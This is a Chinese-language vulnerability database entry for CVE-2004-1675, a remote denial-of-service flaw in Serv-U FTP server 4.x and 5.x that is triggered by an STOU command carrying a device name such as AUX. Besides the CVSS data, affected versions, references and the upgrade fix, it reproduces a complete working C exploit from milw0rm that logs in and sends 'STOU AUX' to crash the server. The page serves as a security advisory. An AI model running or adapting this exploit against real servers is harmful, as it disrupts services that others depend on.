CVE-2004-1675
CVSS5.0
发布时间 :2004-09-11 00:00:00
修订时间 :2016-10-17 22:58:55
NMCOE    

[原文]Serv-U FTP server 4.x and 5.x allows remote attackers to cause a denial of service (application crash) via a STORE UNIQUE (STOU) command with an MS-DOS device name argument such as (1) COM1, (2) LPT1, (3) PRN, or (4) AUX.


[CNNVD]RhinoSoft Serv-U文件传输服务器远程服务拒绝漏洞(CNNVD-200409-022)

        Serv-U文件传输服务器4.x和5.x版本存在漏洞。远程攻击者借助有MS-DOS设备名称参数如(1)COM1,(2)LPT1,(3)PRN,或者(4)AUX的STORE UNIQUE (STOU)命令导致服务拒绝(应用崩溃)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CWE (弱点类目)

CWE-20 [输入验证不恰当]

- CPE (受影响的平台与产品)

cpe:/a:serv-u:serv-u:5.1.0.0Serv-U 5.1.0.0
cpe:/a:serv-u:serv-u:5.0.0.4Serv-U 5.0.0.4
cpe:/a:serv-u:serv-u:4.0.0.4Serv-U 4.0.0.4
cpe:/a:serv-u:serv-u:5.2.0.0Serv-U 5.2.0.0
cpe:/a:serv-u:serv-u:5.0.0.11Serv-U 5.0.0.11
cpe:/a:serv-u:serv-u:5.2.0.1Serv-U 5.2.0.1
cpe:/a:serv-u:serv-u:4.1.0.0Serv-U 4.1.0.0
cpe:/a:serv-u:serv-u:5.0.0.9Serv-U 5.0.0.9
cpe:/a:serv-u:serv-u:4.1.0.3Serv-U 4.1.0.3
cpe:/a:serv-u:serv-u:5.0.0.0Serv-U 5.0.0.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1675
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1675
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200409-022
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109495074211638&w=2
(UNKNOWN)  BUGTRAQ  20040911 Serv-U up to 5.2 Denial of Service
http://www.securityfocus.com/bid/11155
(VENDOR_ADVISORY)  BID  11155
http://xforce.iss.net/xforce/xfdb/17329
(VENDOR_ADVISORY)  XF  servu-stou-dos(17329)

- 漏洞信息

RhinoSoft Serv-U文件传输服务器远程服务拒绝漏洞
中危 其他
2004-09-11 00:00:00 2010-04-28 00:00:00
远程  
        Serv-U文件传输服务器4.x和5.x版本存在漏洞。远程攻击者借助有MS-DOS设备名称参数如(1)COM1,(2)LPT1,(3)PRN,或者(4)AUX的STORE UNIQUE (STOU)命令导致服务拒绝(应用崩溃)。

- 公告与补丁

        This issue has been addressed with the release of Serv-U 5.2.0.1, which is available to users with a RhinoSoft registration ID.
        RhinoSoft Serv-U 3.0
        
        RhinoSoft Serv-U 3.1
        
        RhinoSoft Serv-U 4.0 .0.4
        
        RhinoSoft Serv-U 4.1 .0.11
        
        RhinoSoft Serv-U 4.1
        
        RhinoSoft Serv-U 4.2
        
        RhinoSoft Serv-U 5.0 .0.4
        
        RhinoSoft Serv-U 5.0 .0.9
        
        RhinoSoft Serv-U 5.0 .0.6
        
        RhinoSoft Serv-U 5.1 .0
        
        RhinoSoft Serv-U 5.2 .0.0
        

- 漏洞信息 (463)

Serv-U < 5.2 Remote Denial of Service Exploit (EDBID:463)
windows dos
2004-09-13 Verified
0 str0ke
N/A [点击下载]
/*
denial of service in Serv-u up to 5.2
str0ke@milw0rm.com - www.milw0rm.com

Advisory: http://www.securitytracker.com/alerts/2004/Sep/1011219.html

Ya its useless.  

*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 21
usage(char *name)
{
printf("usage: %s -h hostname/ip -u user -p passwd\n",name);
printf("\t\tstr0ke - Serv-U up to 5.2 Denial of Service\n");
exit(0);
}

main(int argc, char *argv[]) {
 char buffer[1000],host[255],user[255],pass[255],c;
 int sd, rc, i=0;
 struct sockaddr_in localAddr, servAddr;
 struct hostent *h;

if ( argc < 3) {
usage(argv[0]);
}

while ((c = getopt (argc, argv, "h:u:p:")) != EOF)
       switch(c)
       {
               case 'h':
                       strncpy(host,optarg,sizeof(host));
                       break;
               case 'u':
                       strncpy(user,optarg,sizeof(user));
                       break;
               case 'p':
                       strncpy(pass,optarg,sizeof(pass));
                       break;
       }

 h = gethostbyname(host);
 if(h==NULL) {
   printf("unknown host '%s'\n",host);
   exit(1);
 }

 servAddr.sin_family = h->h_addrtype;
 memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 servAddr.sin_port = htons(SERVER_PORT);
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd<0) {
   perror("cannot open socket ");
   exit(1);
 }

 localAddr.sin_family = AF_INET;
 localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
 localAddr.sin_port = htons(0);

 rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
 if(rc<0) {
   printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
   perror("error ");
   exit(1);
 }

 printf("Trying To Connect To [%s]\n",host);
 rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
 if(rc<0) {
   perror("cannot connect ");
   exit(1);
 }
   printf("Trying Login With [%s]\n",user);
   snprintf(buffer,sizeof(buffer), "USER %s\r\n", user);
   rc = send(sd, buffer, strlen(buffer), 0);
   memset(buffer,0,sizeof(buffer));
while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"331")) break;
       if(strstr(buffer,"421"))
               {
               printf("Access Denied on your arse..\n");
               exit(0);
               }
       }

   printf("Sending Pass - [%s]\n",pass);
   memset(buffer,0,sizeof(buffer));
   snprintf(buffer,sizeof(buffer), "PASS %s\r\n", pass);
   rc = send(sd,buffer, strlen(buffer), 0);

while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"230")) break;
       if(strstr(buffer,"421"))
               {
               printf("Access Denied on your arse..\n");
               exit(0);
               }

       if(strstr(buffer,"530"))
               {
               printf("Access Denied: Login Incorrect!\n");
               exit(0);
               }
}

   memset(buffer,0,sizeof(buffer));
   snprintf(buffer,sizeof(buffer), "STOU AUX\r\n");
   rc = send(sd,buffer, strlen(buffer), 0);

   printf("Dos Sent\n");

   if(rc<0) {
     perror("cannot send data ");
     close(sd);
     exit(1);
   }
return 0;
}

// milw0rm.com [2004-09-13]
		

- 漏洞信息

9898
Serv-U FTP Server STOU Command MS-DOS Argument Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Serv-U FTP server contains a flaw that may allow a remote denial of service. The issue is triggered when COM1, LPT1, PRN or AUX argument is passed via the "STOU" command, and will result in loss of availability for the service.

- 时间线

2004-09-11 Unknow
2004-09-11 2004-09-27

- 解决方案

Upgrade to version 5.2.0.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站